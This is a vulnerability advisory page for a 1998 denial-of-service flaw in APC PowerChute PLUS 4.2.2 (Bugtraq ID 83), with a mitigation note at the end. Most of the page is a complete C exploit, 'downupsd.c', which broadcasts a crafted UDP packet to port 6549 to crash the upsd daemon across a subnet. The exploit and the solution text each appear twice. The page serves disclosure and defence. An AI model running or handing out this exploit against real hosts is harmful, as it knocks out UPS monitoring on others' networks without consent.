PowerChute PLUS Denial of Service Vulnerability
BID:83
Info
PowerChute PLUS Denial of Service Vulnerability
| Bugtraq ID: | 83 |
| Class: | Unknown |
| CVE: | |
| Remote: | Yes |
| Local: | Unknown |
| Published: | Apr 10 1998 12:00AM |
| Updated: | Apr 10 1998 12:00AM |
| Credit: | This vulnerability was published as "APC UPS PowerChute PLUS exploit..." by Theo Schlossnagle <[email protected]> to the BugTraq mailing list on April 10, 1998. |
| Vulnerable: |
APC PowerChute Plus 4.2.2 |
| Not Vulnerable: | |
Exploit / POC
PowerChute PLUS Denial of Service Vulnerability
----- begin downupsd.c -----
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
int main(int argc, char **argv) {
int s;
long on=1;
size_t addrsize;
char buffer[256];
struct sockaddr_in toaddr, fromaddr;
struct hostent h_ent;
if(argc!=2) {
fprintf(stderr, "Usage:\n\t%s <hostname running upsd>\n", argv[0]);
exit(0);
}
s = socket(AF_INET,SOCK_DGRAM,0);
setsockopt(s, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on));
printf("Crashing upsd on host's subnet: %s\n", argv[1]);
toaddr.sin_family = AF_INET;
toaddr.sin_port = htons(0);
toaddr.sin_addr.s_addr = 0x00000000;
bind(s, (struct sockaddr *)&toaddr, sizeof(struct sockaddr_in));
toaddr.sin_port = htons(6549);
memcpy((char *)&h_ent, (char *)gethostbyname(argv[1]), sizeof(h_ent));
memcpy(&toaddr.sin_addr.s_addr, h_ent.h_addr, sizeof(struct in_addr));
toaddr.sin_addr.s_addr |= 0xff000000;
strcpy(buffer, "027|1|public|9|0|0|2010~|0\0");
sendto(s, buffer, 256, 0, (struct sockaddr *)&toaddr,
sizeof(struct sockaddr_in));
printf("Crashed...\n");
close(s);
}
------- end downupsd.c -----
----- begin downupsd.c -----
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
int main(int argc, char **argv) {
int s;
long on=1;
size_t addrsize;
char buffer[256];
struct sockaddr_in toaddr, fromaddr;
struct hostent h_ent;
if(argc!=2) {
fprintf(stderr, "Usage:\n\t%s <hostname running upsd>\n", argv[0]);
exit(0);
}
s = socket(AF_INET,SOCK_DGRAM,0);
setsockopt(s, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on));
printf("Crashing upsd on host's subnet: %s\n", argv[1]);
toaddr.sin_family = AF_INET;
toaddr.sin_port = htons(0);
toaddr.sin_addr.s_addr = 0x00000000;
bind(s, (struct sockaddr *)&toaddr, sizeof(struct sockaddr_in));
toaddr.sin_port = htons(6549);
memcpy((char *)&h_ent, (char *)gethostbyname(argv[1]), sizeof(h_ent));
memcpy(&toaddr.sin_addr.s_addr, h_ent.h_addr, sizeof(struct in_addr));
toaddr.sin_addr.s_addr |= 0xff000000;
strcpy(buffer, "027|1|public|9|0|0|2010~|0\0");
sendto(s, buffer, 256, 0, (struct sockaddr *)&toaddr,
sizeof(struct sockaddr_in));
printf("Crashed...\n");
close(s);
}
------- end downupsd.c -----
Solution / Fix
PowerChute PLUS Denial of Service Vulnerability
Solution:
Adding "UseTCP = NO" or "SimNetworkAttached = NoNetwork" to the "[ Network ]"
section of the powerchute.ini file may prevent the attack, but this would
also have the effect of making PowerChute PLUS useless in a network
environment. This also means any local user will have access to the server
without having to supply a password.
You should also create a private temporary directory for powerchute and change
the TMPDIR variable in the powerchute, upsd and xpowerchute scripts.
Solution:
Adding "UseTCP = NO" or "SimNetworkAttached = NoNetwork" to the "[ Network ]"
section of the powerchute.ini file may prevent the attack, but this would
also have the effect of making PowerChute PLUS useless in a network
environment. This also means any local user will have access to the server
without having to supply a password.
You should also create a private temporary directory for powerchute and change
the TMPDIR variable in the powerchute, upsd and xpowerchute scripts.
References
PowerChute PLUS Denial of Service Vulnerability
References:
References: